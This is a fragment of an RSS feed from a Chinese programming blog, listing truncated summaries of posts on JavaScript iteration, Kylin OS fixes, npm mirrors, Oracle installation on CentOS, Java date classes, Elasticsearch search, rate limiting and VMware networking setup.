      <description>整理一下常用的几种遍历方法，for和while循环就不再说了，说一下其他几种非常好用的方法&#xA;1.for in for in可定是接触比较早的遍历数组的方法，其实它也可遍历对象（遍历字符串也是可以的！），这个方法主要是针对对象，遍历数组最好不要用！！！实例演示一下&#xA;遍历数组&#xA;&amp;lt;script&amp;gt; var arr = [&#39;a&#39;, &#39;b&#39;, &#39;c&#39;, &#39;d&#39;]; // 遍历数组 key是索引 for (var key in arr) { console.log(arr[key] + &#39;---&#39; + key); } &amp;lt;/script&amp;gt; 遍历对象 var obj = { name: &#39;张三&#39;, age: &#39;20&#39;, sex: &#39;男&#39;, } // 遍历对象 key是属性 obj[key]是属性值 for (let key in obj) { console.log(obj[key] + &#39;---&#39; + key); } 遍历字符串 和数组类似&#xA;// 遍历字符串 key是索引 var str = &#39;abcd&#39;; for (let key in str) { console.</description>
    </item>
    <item>
      <title>如何将图片清晰度变高？电脑怎么调照片清晰度？</title>
      <link>https://bchobby.github.io/posts/98e63cf2a5500bdcada4a8e797883b97/</link>
      <pubDate>Tue, 13 Dec 2022 16:53:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98e63cf2a5500bdcada4a8e797883b97/</guid>
      <description>每次处理图片时看到模糊的图片都很头疼，但是又不知道该怎么去提高图片清晰度，其实可以修改图片分辨率提高图片dpi使图片画质变高，那么如何修改分辨率（在线修改照片分辨率（DPI） 调整图片DPI 照片dpi修改工具-压缩图）呢？使用图片在线清晰处理工具来在线修改分辨率，操作简单使用方便，赶紧一起来看看吧。&#xA;在浏览器中搜索“压缩图”，导航栏中选择【修改dpi】。&#xA;上传图片，将dpi修改设置成300，点击生成后保存即可。&#xA;简单的几个步骤就可以在线变清晰图片质量也得到了提升，平时在提交考试照片、打印图片的时候都可以使用这款图片处理工具来修改图片dpi，支持图片改大小、转格式、抠图等等，欢迎收藏体验！</description>
    </item>
    <item>
      <title>图像处理小知识点整理一</title>
      <link>https://bchobby.github.io/posts/7c784ccda481d9d2372237e03165a5f9/</link>
      <pubDate>Tue, 13 Dec 2022 15:23:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c784ccda481d9d2372237e03165a5f9/</guid>
      <description>1.傅立叶变换与小波变换 傅立叶变换FFT 傅立叶变换是将信号完全的放在频率域中分析，但无法给出信号在每一个时间点的变化情况，并且对时间轴上任何点的突变都会影响整个频率的信号。&#xA;傅立叶变换的基是不同频率的正弦曲线，所以傅立叶变换是把信号波分解成不同频率的正弦波的叠加和，不能有效代表突然的变化。&#xA;小波变换wavelets 小波变换是以某些特定的函数为基（不止是一个），将数据信号展开成级数系列，它是时间和频率的局部变换，可同时在时域和频率中对数据进行多尺度联合分析，具有多尺度细化分析的功能。因此，我们可以在不同的分解层上和不同的小波基函数对信号进行有效的分析。&#xA;小波，不严格的说即有限持续时间的波形，其平均值为零。小波变换就是把一个信号分解成一系列的小波，小波有不同的大小和形状，多种小波的可用性是小波分析的关键优势。&#xA;将小波与正弦波进行比较，正弦波是傅里叶分析的基础，正弦曲线的持续时间没有限制—负无穷延伸到正无穷。正弦曲线是平滑的，小波往往是不规则和不对称的。&#xA;scaling &amp;amp; shifting 缩放：拉伸或收缩信号&#xA;小波在频域中具有带通特性 center frequnecy，拉伸小波有助于捕获信号中缓慢变化的变化，压缩小波有助于捕捉突变。&#xA;shifting移动&#xA;移动小波只是意味着沿信号长度延迟或推进小波的开始。&#xA;小波分析中的两个主要变换是连续与离散小波变换。&#xA;CWT(continuous wavelet transform)连续小波变换的关键应用是时频分析和时域频率成分滤波；&#xA;DWT(discrete wavelet transform)离散小波变的关键应用是信号和图像的去噪和压缩，因为它有助于表示许多自然产生的信号和具有较少系数的图像 。&#xA;2.上采样upsampling 与下采样subsampling 上采样&#xA;放大图像（或者称为上采样upsampling或者图像插值interpolating）的主要目的是放大原图像，从而可以使图像在更高的显示设备上。图像放大几乎是采用内插值方法，即在原有图像像素的基础上在像素点之间采用合适的插值算法插入新的元素。&#xA;下采样&#xA;缩小图像（或称为下采样subsampling或者降采样downsampled）的主要目的有两个：&#xA;1.使得图像符合显示区域的大小；&#xA;2.生成对应图像的缩略图。&#xA;对图像的缩放操作并不能带来更多关于该图像的信息，因此图像的质量将不可避免受到影响。然而，确实有些缩放方法能够增强图像的信息，从而使得缩放后的图像质量超过原图质量。&#xA;对于一幅尺度为M*N，对其进行s倍下采样，即得到（M/s)*(N/s)尺寸的图像（s应该是M和N的公约数）。如果该图像是矩阵形式，则其本质上是将原始图像s*s窗口内的图像变成一个像素点，该像素点的值为该窗口内所有像素的均值。&#xA;3.哈尔小波 这位博主讲解的很详细了，就不自己整理了，指路⬇️：&#xA;小波变换一之Haar变换&#xA;小波变换二之Haar变换&#xA;小波变换三之Haar变换</description>
    </item>
    <item>
      <title>CSDN首页源码，惊现辞职感言。。。</title>
      <link>https://bchobby.github.io/posts/86bc45b71d1dae5657f806fca4300c99/</link>
      <pubDate>Tue, 13 Dec 2022 14:00:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/86bc45b71d1dae5657f806fca4300c99/</guid>
      <description> 就在大前天的文章下，有一个读者给我留言，说让我去看看前端同学写的辞职感言。&#xA;并且贴心的给出了地址：view-source:https://www.csdn.net/&#xA;好奇心下，在浏览器上访问了一下，果然发现了一段感言，截图如下：&#xA;应该是CSDN即将辞职的一名前端程序员，在离职的时候，首页上留下了一段文字，被网友们给发现了。&#xA;不过CSDN的动作也很快，我访问2个小时后，这段文字又从首页上消失了。&#xA;至于这个前端程序员的故事，大家也都没有听到后续，如果有认识的读者可以让联系我。&#xA;也许可以把这个故事，让他用另外一种方式讲完，也祝他顺利找到新的工作。&#xA;2&#xA;环普&#xA;在西安当地，有一个叫做环普科技园的地方，有很多的办公大楼，目前是西安程序员密度最高的地方。&#xA;西安的程序员市场中，至少有一半都是外包，而环普这一个地方，集中了西安一半以上的外包公司。&#xA;前两天我在群里，看到这样一个截图：&#xA;找西安几个在环普上班的几个小伙伴，确认了一下，消息属实。&#xA;已经不记得这是环普，今年以来第几次传出裁员的消息了，这两年几乎每隔上一段时间就会有。&#xA;这是因为外包的工作属性决定的。&#xA;外包的项目，基本上都是华为、中兴、银行等等，一些大型的甲方公司，将公司的非核心业务外包出来。&#xA;自从华为增长遇到困境，很多对应的项目都出现了收缩，那么华为这条线上没有项目，外包公司就会整个项目线裁掉。&#xA;像汇丰、其它大公司情况类似。&#xA;3&#xA;变化&#xA;大疫三年，没有人不受到影响，包括公司。&#xA;不过，现在慢慢也有了变化，随着政策的逐步放开，经济也会慢慢恢复到正常，这些大公司的利润也会慢慢恢复。&#xA;到那个时候，用人需求也会慢慢回归。&#xA;目前这个阶段，就像黎明前的黑暗一样，估计还要持续上6-12个月，等疫情彻底好转。&#xA;我相信，一切都会慢慢好一点。&#xA;另外，还有一点想说的。&#xA;任何的选择都是有代价的，上项目期间一般外包公司为了抢人，给的工资都会比其它公司要高上那么一点。&#xA;但这都是有代价的。&#xA;比如外包的长时间加班赶项目，上班没有归属感，还有就是稳定性相对差很多，没有项目裁人是日常操作。&#xA;只是这两年，更加突出而已。&#xA;在没有选择的情况下，外包算是一个相对比较好的过渡，但拉开更长的时间，还是应该找一个有自己产品的公司。&#xA;更能锻炼技术，也更稳定一点。&#xA;最后说一件重要的事，我最近建了一个【晋级的程序员】社群，旨在帮助新手小白快速上手找到编程的乐趣，里面沉淀了大量编程相关经验教程以及学习资料，目前社群人数已经超过2500人，欢迎大家加入： </description>
    </item>
    <item>
      <title>银河麒麟操作系统V10SP1创建网页快捷方式至桌面的方法</title>
      <link>https://bchobby.github.io/posts/d3d2a1dcb1640e61c6ba31f3e6fb7c56/</link>
      <pubDate>Tue, 13 Dec 2022 09:07:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3d2a1dcb1640e61c6ba31f3e6fb7c56/</guid>
      <description>修改浏览器配置文件添加快捷方式&#xA;1.在桌面点击鼠标右键，选择‘’打开终端‘’，终端界面显示‘桌面’&#xA;2.在终端界面输入命令行 sudo vim qaxbrowser-safe.desktop (奇安信浏览&#xA;器的快捷方式)&#xA;进去后按‘/’然后输入‘Exec’，最后按回车键。会跳到 108 行。（或者可以&#xA;直接找到 108 行）&#xA;3.光标移到‘Exec’行，按字母‘a’开始编辑，在%U 后面添加–new-windows&#xA;www.baidu.com，现在则跳转到百度网页。&#xA;然后移动到‘Icon’那行，修改为你图片的指定路径。路径最后记得加上图片的&#xA;名字。&#xA;如何查看图片的路径：&#xA;找到图片右键点击属性，位置那栏就是路径。&#xA;4. 按左上角的‘Esc 键’，然后按‘：’，最后输入 wq，保存文本退出&#xA;5. 找到奇安信浏览器图标，选中然后右键重命名，改为你自定义的名字。&#xA;注意：&#xA;①需要重命名后图标才会变。&#xA;②图片路径需要找到和图片不能删除和移动，若改动则配置文件需跟着改动。&#xA;③需要在桌面打开。</description>
    </item>
    <item>
      <title>银河麒麟桌面V10SP1版本系统休眠唤醒鼠标键盘失效解决方法</title>
      <link>https://bchobby.github.io/posts/5a5ded3c2419228ae049215b64a04cd8/</link>
      <pubDate>Tue, 13 Dec 2022 08:53:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a5ded3c2419228ae049215b64a04cd8/</guid>
      <description>使用银河麒麟桌面系统有时会出现系统休眠后再唤醒，鼠标键盘失效的问题，可尝试以下方法解决。&#xA;1.检查是否安装 laptop-mode-tools 工具&#xA;执行命令:&#xA;dpkg -l | grep laptop-mode-tools 如果执行命令无结果输出，表示未安装(如果已安装，忽略第2步)&#xA;2.安装 laptop-mode-tools 包&#xA;执行命令:&#xA;sudo apt update sudo apt-get install laptop-mode-tools 安装完成后查看结果&#xA;3.判断 Laptop 是否启用了 laptop_mode 模式&#xA;执行命令:&#xA;cat /proc/sys/vm/laptop_mode 如果显示结果为0，则表示未启动，如果为非0的数字则表示启动了(一般是2)&#xA;4.启动 laptop_mod&#xA;直接在终端中输入&#xA;sudo laptop_mode start 启动了 laptop_mode 之后，在系统挂起后，基本上就不会遇到鼠标键盘无法唤醒的情况了。&#xA;5.查看在/etc/laptop-mode/laptop-mode.conf 中的配置&#xA;查找&#xA;ENABLE_LAPTOP_MODE_ON_BATTERY ENABLE_LAPTOP_MODE_ON_AC ENABLE_LAPTOP_MODE_WHEN_LID_CLOSED 当用电池,外接电源,合上显示屏的时候是否启用 LAPTOP_MODE全部设置为 1 就可以了。&#xA;6.启动 laptop_mode 并查看结果：&#xA;执行命令:&#xA;sudo laptop_mode start 注:为了解决鼠标键盘自动休眠导致的失灵问题,需要执行命令:&#xA;sudo gedi /etc/laptop-mode/conf.d/runtime-pm.conf 把&#xA;AUTOSUSPEND_RUNTIME_DEVID_BLACKLIST=&#34;&#34; 改为&#xA;AUTOSUSPEND_RUNTIME_DEVID_BLACKLIST=&#34;usbhid usb-storage&#34; 注意：这一步一定要做。</description>
    </item>
    <item>
      <title>NODE_npm设置国内源（淘宝镜像源）的几种方式，解决下载速度慢的问题</title>
      <link>https://bchobby.github.io/posts/8f0bf97c73fc20df8c00cf32efa67239/</link>
      <pubDate>Tue, 13 Dec 2022 00:51:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f0bf97c73fc20df8c00cf32efa67239/</guid>
      <description> 1.说明 刚安装的npm使用默认的源会感觉特别特别慢，所以，非常有必要使用国内的源，比如说众所周知的淘宝镜像源&#xA;2.全局设置 查看当前源&#xA;npm config get registry 设置为淘宝源&#xA;npm config set registry https://registry.npm.taobao.org # 还原默认源：npm config set registry https://registry.npmjs.org/ 3.临时使用&#xA;上面那种设置是全局的，以后每次都会自动读取已经设置好的源，如果只是一次性使用，可以使用下面的命令&#xA;npm --registry https://registry.npm.taobao.org install XXX（模块名） 4.使用cnpm&#xA;cnpm是一个命令，用它来代替npm&#xA;npm install -g cnpm --registry=https://registry.npm.taobao.org cnpm install XXX(模块名) 5.使用nrm&#xA;npm install -g nrm nrm use taobao nrm ls # 查看当前可用源命令 </description>
    </item>
    <item>
      <title>Python入门(第二篇)Python环境与下载</title>
      <link>https://bchobby.github.io/posts/e526089d8ce1e6decf93a74a4ebe1c18/</link>
      <pubDate>Mon, 12 Dec 2022 22:47:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e526089d8ce1e6decf93a74a4ebe1c18/</guid>
      <description>在windows平台下Python环境搭建:&#xA;1.第一步:进入Python官网(Python.org)下载&#xA;Python安装包&#xA;选择windows下载最新的版本&#xA;1.32位系统选择32的，64位系统选择64的。&#xA;第二步:安装下载好的Python.exe&#xA;第三步:运行Python&#xA;Windows查找命令中输入cmd，进入命令行窗口，再输入:Python&#xA;输入:Python(&#34;hello world&#34;)&#xA;最后输出:hello world，&#xA;就说明运行成功了!</description>
    </item>
    <item>
      <title>同一台机器，不同服务，不同JDK，如何巧妙配置各自JDK启动</title>
      <link>https://bchobby.github.io/posts/defd08a2f0b5f95a77220b167789e567/</link>
      <pubDate>Mon, 12 Dec 2022 17:44:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/defd08a2f0b5f95a77220b167789e567/</guid>
      <description>我们开发和部署的时候，难免遇到资源紧张，同一台机器，部署好几个服务，而不同服务依赖的JDK也不同，而我们配置环境变量只能一份，而我们服务都要启动，这样我们就需要每个服务都配置自己的JDK。&#xA;我们以SpringBoot项目为例。服务器是windows系统，我的配置路径是这样的。&#xA;由于SpringBoot的jar包同级config配置优先级最高，所以我们把配置放在外面，方便修改。&#xA;目录中包含启动，停止，重启脚本。还包含我们需要的jdk，还有jar包。&#xA;启动脚本：&#xA;@echo off START &#34;XXXServer&#34; jdk1.8.0_241\bin\javaw -jar XXXServer.jar 停止脚本：&#xA;@echo off set port=8091 for /f &#34;tokens=1-5&#34; %%i in (&#39;netstat -ano^|findstr &#34;:%port%&#34;&#39;) do ( echo kill the process %%m who use the port taskkill /pid %%m -t -f goto q ) :q 重启脚本：&#xA;@echo off set port=8091 for /f &#34;tokens=1-5&#34; %%i in (&#39;netstat -ano^|findstr &#34;:%port%&#34;&#39;) do ( echo kill the process %%m who use the port taskkill /pid %%m -t -f goto start ) :start START &#34;</description>
    </item>
    <item>
      <title>飞书电脑端打开共享文档后无权限（已解决）</title>
      <link>https://bchobby.github.io/posts/0d082ab268a8297c4ba2d3d3f7bbeaff/</link>
      <pubDate>Mon, 12 Dec 2022 16:53:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d082ab268a8297c4ba2d3d3f7bbeaff/</guid>
      <description>问题背景 飞书共享文档在手机上有权限但是在电脑上没有权限&#xA;问题分析 主要原因就是PC端打开的页面，里面的账号并不是默认和飞书软件的账号保持一致，而是和之前在该浏览器上登录过的账号保持一致。&#xA;问题解决 手动切换一下浏览器的账号即可&#xA;最后说一下，飞书账号专属的飞书助手，里面有人工服务，有问题可以直接问，很多时候飞书相关的问题都可以通过这个方式来解决</description>
    </item>
    <item>
      <title>centOS7安装oracle</title>
      <link>https://bchobby.github.io/posts/cf811e481609b2bf9dcc2c57197f1852/</link>
      <pubDate>Mon, 12 Dec 2022 16:29:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf811e481609b2bf9dcc2c57197f1852/</guid>
      <description>目录&#xA;1.将Oracle安装包拷贝到安装机器的指定目录&#xA;2.关闭防火墙&#xA;3.安装依赖包&#xA;4. 验证依赖包&#xA;5.创建Oracle用户&#xA;6.创建oradata目录，解压Oracle安装&#xA;​编辑 将/oradata上当及目录内的所有文件和文件夹的归属都修改为oracle用户&#xA;操作oracle用户&#xA;7.修改系统配置参数&#xA;8.配置Oracle安装目录&#xA;9.配置环境变量&#xA;10.修改安装配置文件&#xA;11.安装数据库&#xA;安装前将/oradata文件及目录下的所有文件文件夹的权限都属于oracle用户&#xA;12.进入Oracle&#xA;1.将Oracle安装包拷贝到安装机器的指定目录 2.关闭防火墙 [root@localhost install]# systemctl stop firewalld.service&#xA;[root@localhost install]# systemctl disable firewalld.service&#xA;3.安装依赖包 yum -y install binutils compat-libcap1 compat-libstdc++-33 compat-libstdc++-33*i686 compat-libstdc++-33*.devel compat-libstdc++-33 compat-libstdc++-33*.devel gcc gcc-c++ glibc glibc*.i686 glibc-devel glibc-devel*.i686 ksh libaio libaio*.i686 libaio-devel libaio-devel*.devel libgcc libgcc*.i686 libstdc++ libstdc++*.i686 libstdc++-devel libstdc++-devel*.devel libXi libXi*.i686 libXtst libXtst*.i686 make sysstat unixODBC unixODBC*.i686 unixODBC-devel unixODBC-devel*.i686 4. 验证依赖包 rpm -q binutils compat-libcap1 compat-libstdc++-33 gcc gcc-c++ glibc glibc-devel ksh libaio libaio-devel libgcc libstdc++ libstdc++-devel libXi libXtst make sysstat unixODBC unixODBC-devel 5.</description>
    </item>
    <item>
      <title>Akka 学习（四）Remote Actor</title>
      <link>https://bchobby.github.io/posts/75a6e84a790be5c43b891f58d1d11f05/</link>
      <pubDate>Mon, 12 Dec 2022 16:13:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/75a6e84a790be5c43b891f58d1d11f05/</guid>
      <description>目录 一 介绍1.1 Remote Actor1.2 适用场景1.3 踩坑点 二 实战2.1 需求2.2 Java 版本2.2.1 效果图2.2.2 实体类2.2.3 服务端Actor 处理2.2.4 服务端配置文件2.2.5 客服端Actor处理2.2.6 客服端配置文件2.2.7 测试 2.3 Scala 版本2.3.1 效果2.2.3 服务端Actor处理2.3.4 客户端Actor处理2.3.5 测试 参考文章 Gitter Chat，Akka 在线交流平台Akka Forums，Akka 论坛Akka in GitHub，Akka 开源项目仓库Akka Official Website，Akka 官网Akka Java API，Akka 应用程序编程接口《Akka入门与实践》 [加]Jason Goodwin（贾森·古德温） 文章系列&#xA;Akka 学习（一）Actor 初步认识与环境搭建 已完成 Akka 学习（二）第一个入门程序 已完成 Akka 学习（三）Actor的基本使用 已完成 Akka 学习（四）Remote Actor 已完成 Akka 学习（五）消息传递的方式 已完成 Akka 学习（六）Actor的监督机制 已完成 Akka 学习（七）Actor的生命周期 已完成 Akka 学习（八）路由与Dispatcher 已完成 Akka 学习（九）Akka Cluster 已完成 Akka 基础篇就此结束了，Akka基础篇主要介绍Akka的基本概念与一些基本术语，使用方式</description>
    </item>
    <item>
      <title>java时间日期类</title>
      <link>https://bchobby.github.io/posts/eb4b71fd6cf9ee954b46f4653f21ce1f/</link>
      <pubDate>Mon, 12 Dec 2022 15:56:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb4b71fd6cf9ee954b46f4653f21ce1f/</guid>
      <description>java时间日期类 时间日期类一、Date类一）构造方法二）常用方法三）Date子类 二、DateFormat类Date -&amp;gt; String （格式化）String -&amp;gt; Date （解析） 三、SimpleDateFormat类一）构造方法常用方法时间模式字母 四、Calendar类一）常用字段（都是静态常量）二）常用方法需求：键盘录入年份，求当年二月份的最大天数 五、JDK8 第三代时间类一）LocalDate类1、常用方法DateTimeFormatter类 二）LocalTime类1、常用方法 三）LocalDateTime类1、常用方法 四）Instant 时间戳类 时间日期类 一、Date类 java.util.Date类封装当前的日期和时间，精确到毫秒，其中大部分方法都已过时&#xA;一）构造方法 方法描述Date()根据当前的默认毫秒值创建日期对象Date(long date)分配Date对象并初始化此对象，以表示自从标准基准时间以来的指定毫秒数 注意：标准基准时间也称为历元，即1970年1月1日00:00:00 GMT（注意时差） // 分配一个 Date对象，并初始化，以便它代表它被分配的时间，精确到毫秒 Date d = new Date(); System.out.println(d); // 格式;2022年9月13日 下午12:51:46 此方法已过期 System.out.println(d.toLocaleString()); // 分配一个 Date对象，并将其初始化为表示从标准基准时间起指定的毫秒数 long date = 1000*60*60; Date d2 = new Date(date); System.out.println(d2); 二）常用方法 方法描述long getTime(); 获取当前时间，以毫秒为单位void setTime(long time); 设置时间boolean after(Date when)测试此日期是否晚于指定日期。boolean before(Date when)测试此日期是否早于指定日期。int compareTo(Date anotherDate)比较两个指定日期。boolean equals(Object obj)比较两个相等的日期。 //1创建Date对象 //今天 Date d=new Date(); System.</description>
    </item>
    <item>
      <title>QT error问题</title>
      <link>https://bchobby.github.io/posts/66efc868037811cdd44e70f10ebd0421/</link>
      <pubDate>Mon, 12 Dec 2022 13:16:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/66efc868037811cdd44e70f10ebd0421/</guid>
      <description>error: LNK1181: 无法打开输入文件“release\main.obj”&#xA;qt MSVC版，编译时出现如下错误：error: LNK1181: 无法打开输入文件“release\main.obj”，原因：工程路径中包含有空格 （工程路径中有目录或文件命名带有空格）&#xA;其次工程路径不要有中文，否则会遇到一些奇怪的问题。</description>
    </item>
    <item>
      <title>在运行yolo时的一些报错及解决方法</title>
      <link>https://bchobby.github.io/posts/65c0e92b92394bd34a8cd4a27bb0b332/</link>
      <pubDate>Mon, 12 Dec 2022 10:21:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65c0e92b92394bd34a8cd4a27bb0b332/</guid>
      <description>Pytorch虚拟环境简介&#xA;Torch是一个用于深度学习的=数学计算库，而Pytorch则是一个基于Torch的Python机器学习库，可看作其提供了Torch应用于Python的接口。而搭建Pytorch虚拟环境，通俗地讲，就是搭建一个包含了Pytorch的相关包的Python解释器的环境，即是专门用于处理基于Python的深度学习的问题的环境。&#xA;虚拟环境&#xA;它是一个虚拟化的概念，从电脑独立开辟出来的环境。通俗的来讲，虚拟环境就是借助虚拟机来把一部分内容独立出来，我们把这部分独立出来的东西称作“容器”，在这个容器中，我们可以只安装我们需要的依赖包，各个容器之间互相隔离，互不影响&#xA;虚拟环境的作用&#xA;在一些项目开发中，我们需要一些项目的框架，但是可能每个项目使用的框架并不一样，或使用框架的版本不一样，这样需要我们根据需求不断的更新或卸载相应的库。这样显然会非常麻烦，大大降低工作的效率，而虚拟环境则很好的解决了这个问题，我们可以将不同框架分别安装在不同的环境中，当需要时只需要我们切换环境就可以了&#xA;————————————————&#xA;先进入pytorch环境的话可以通过cmd，输入conda env list,之后查看所想进入的环境名,输入conda activate xxx即可&#xA;问题1：ModuleNotFoundError: No module named ‘tensorboard‘&#xA;解决方法：在pytorch环境下conda install -c conda-forge tensorboard，#由于pytorch本身不自带tensorboard包，一般这样报错都是由于未安装tensorboard包导致的。&#xA;#可以通过pip 加载清华镜像源进行安装&#xA;sudo pip install -i https://mirrors.aliyun.com/pypi/simple/ tensorboard&#xA;如果正确安装tensorboard之后，重新运行代码，还是报错找不到在torch.utils.tensorboard中找不到SummaryWriter该怎么办。&#xA;别着急，因为SummaryWriter是存在于tensorboardX(其作为tensorboard的子模块)因此同样通过pip进行安装：&#xA;sudo pip install -i https://mirrors.aliyun.com/pypi/simple/ tensorboardX&#xA;如果正确安装tensorboardX依旧找不到SummaryWriter&#xA;请将报错的：&#xA;from torch.utils.tensorboard import SummaryWriter&#xA;改为： from tensorboardX import SummaryWriter&#xA;问题2：AttributeError: module &#39;distutils&#39; has no attribute &#39;version&#39;&#xA;解决方法：在pytorch环境下pip install setuptools==59.5.0&#xA;问题3：ModuleNotFoundError: No module named &#39;pandas&#39;（一开始也有几个这种类似的问题，但是当时忘记记录了，不过都很简单）&#xA;解决方法：回溯到问题处，然后鼠标瞄住，点安装即可&#xA;问题4：ModuleNotFoundError: No module named &#39;cv2&#39;</description>
    </item>
    <item>
      <title>es——java实现基本搜索功能</title>
      <link>https://bchobby.github.io/posts/f075f757dafe42bc313e8bd9316e5cd5/</link>
      <pubDate>Mon, 12 Dec 2022 00:09:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f075f757dafe42bc313e8bd9316e5cd5/</guid>
      <description>在输入框输入搜索关键字、点击页面过滤项、翻页、排序都会导致请求发出，查询商品信息：&#xA;需要实现的功能包括：&#xA;关键字搜索&#xA;分类、品牌、价格过滤&#xA;排序&#xA;分页&#xA;高亮&#xA;竞价排名&#xA;接口说明：&#xA;controller层：&#xA;/** * 关键字搜索，分页 */ @PostMapping(&#34;/list&#34;) public PageDTO&amp;lt;ItemDoc&amp;gt; list(@RequestBody RequestParams params){ log.info(&#34;关键字搜索，分页===前后端联通==&#34; + params); this.isearchService.list(params); return this.isearchService.list(params); } service层：&#xA;/** * 搜索关键字，分页 */ PageDTO&amp;lt;ItemDoc&amp;gt; list(RequestParams params); service实现类：&#xA;@Autowired private RestHighLevelClient client; /** * 搜索关键字，分页 */ @Override public PageDTO&amp;lt;ItemDoc&amp;gt; list(RequestParams params) { try { //准备Request SearchRequest request = new SearchRequest(&#34;item&#34;); //设置请求参数 buildBasicQuery(params, request); //排序 sort if (!StringUtils.isBlank(params.getSortBy())) { if (&#34;sold&#34;.equals(params.getSortBy())) {//按评价排序 request.</description>
    </item>
    <item>
      <title>架构设计（限流）</title>
      <link>https://bchobby.github.io/posts/f618b9532bbea709591014c09586e436/</link>
      <pubDate>Sun, 11 Dec 2022 17:09:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f618b9532bbea709591014c09586e436/</guid>
      <description> 架构设计（限流） 限流算法 漏斗算法：接受存储客户端请求(有最大值限制)，后端匀速处理请求&#xA;令牌桶算法：与漏斗算法相比，令牌桶算法可以快速处理短期突发流量&#xA;客户端请求过来时，如果可以从桶中获取令牌，则执行请求，桶中令牌数减1； 如果不能获取令牌，客户端请求则进行等待； 后台线程定时向桶中添加令牌，桶中存放令牌数有最大限制 固定时间窗口限流：固定时间段内，拒绝处理超过阀值的请求&#xA;说明：如果流量不均匀，可能出现在极短时间内处理超过阀值数量的请求，给后端服务器造成压力&#xA;滑动时间窗口限流&#xA;将滑动窗口分割成多个小时间段窗口，每隔一个小时间段，滑动窗口向前移动 统计滑动时间窗覆盖的时间段的请求数量，如果超过设定的阀值，则拒绝请求 固定时间窗口相当于滑动时间窗口的特殊情况，时间窗口分隔的越多，限流统计越精确； 滑动时间窗口移动单位式分割的时间段，还是有可能出现任意一个滑动时间段的请求数超过阀值的情况 漏洞算法、令牌桶算法对流量控制更为精准 队列限流 如果请求不需要立刻响应，又需要处理流量高峰，可将请求发送到队列，异步处理请求&#xA;sentinel 限流 流量控制策略&#xA;# QPS流量控制：每秒请求数超过预设的阀值后，触发流量控制 直接拒绝：默认的流量控制措施，超过阀值后，直接拒绝新的请求 冷启动：系统请求长期处于低水位，当流量突然增加后，直接将系统拉升到该水位可能将系统压垮， 冷启动让流量缓慢增加值阀值，给系统预热时间，避免冷系统被压垮 匀速器：让系统匀速处理请求，类似于漏斗算法，主要用于处理间隔性突发流量， 某一时间突然收到大量请求，接下来处于空闲状态，可利用空闲时间继续处理请求，而不是直接拒绝请求 # 并发线程数流量控制：线程数超过阀值，拒绝请求 sentinel线程数限流不负责创建和管理线程池，而是简单统计当前请求上下文的线程个数， 如果超出阈值，新的请求会被立即拒绝 # 基于调用关系的流量控制 调用方限流：default（不区分调用者）、针对特定调用者（{some_origin_name}）、其他调用者（other）限流 同一个资源名可以配置多条规则，规则的生效顺序为：{some_origin_name} &amp;gt; other &amp;gt; default 调用链入口限流：一个资源有多个入口（entry、entry2），可选择只针对入口entry限流 关联流量控制：两个资源之间具有资源争抢或者依赖关系时，这两个资源便具有关联关系； 如两个资源分别对数据库的同一字段进行写操作，一个资源频繁进行写操作， 便会对另一资源的写操作产生影响，此时可考虑对频繁操作的资源进行限流 </description>
    </item>
    <item>
      <title>本地 vm - xshell 互通</title>
      <link>https://bchobby.github.io/posts/e2f463262e377a0a9b8cea64dcf1f458/</link>
      <pubDate>Sun, 11 Dec 2022 16:43:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2f463262e377a0a9b8cea64dcf1f458/</guid>
      <description>**&#xA;在VMware虚拟机安装centos7，使用xshell连接访问，下面就跟大家分享下如何连接。 **&#xA;软件准备： VMware虚拟机&#xA;链接：https://pan.baidu.com/s/1jpNBXSwijgF-9LDiQPyZ_w&#xA;提取码：521h （感谢大佬分享）&#xA;centos7系统：&#xA;https://mirrors.aliyun.com/centos/7.9.2009/isos/x86_64/?spm=a2c6h.25603864.0.0.14c2f5adAJDEvh&#xA;xshell7：&#xA;https://www.xshell.com/zh/xshell/&#xA;配置准备： 步骤一：设置系统的网络配置类型.&#xA;1）点击编辑虚拟机&#xA;2）接着进入虚拟机设置界面，选择“网络适配器”。如图：&#xA;3）接着，在网络适配器的右侧，选择“NAT模式”完成后，点击下方的“确定”。如图：&#xA;4）也有人，选择“自定义—VMnet 8（NAT模式）”，完成后，点击确定（我觉得都可以，测试下，都可以远程连接上）。如图：&#xA;5)完成后，进入第二步骤。&#xA;步骤二：查看虚拟机中的网段&#xA;1）首先，打开虚拟机，在编辑中找到“虚拟网络编辑器”，如图：&#xA;2）接着，进入虚拟机网络配置界面。如图：&#xA;3）接着，在虚拟机网络编辑器界面中，选择“VMnet8”。如图：&#xA;4）接着， 在VMnet信息界面中，找到“子网ip”,记住此IP地址（配置根据截图中来如修改）如图：&#xA;5）接着，点击界面中“NAT设置”，进入设置界面（具体设置内容如图，IP地址根据自己的ip修改，但是需要在同一个IP段）。如图：&#xA;6）完成后，进入第三步骤。&#xA;步骤三：设置系统中的静态IP&#xA;1）首先，进入系统，打开终端。如图：&#xA;2)接着，在终端界面输入：ip address，回车，出现如图内容。如图：&#xA;3)接着，如果您的输出内容中没有IP地址，这时候就需要修改IP地址。具体修改如下：首先，输入如下两个命令：&#xA;先输入&#xA;[root@localhost ~]# vi 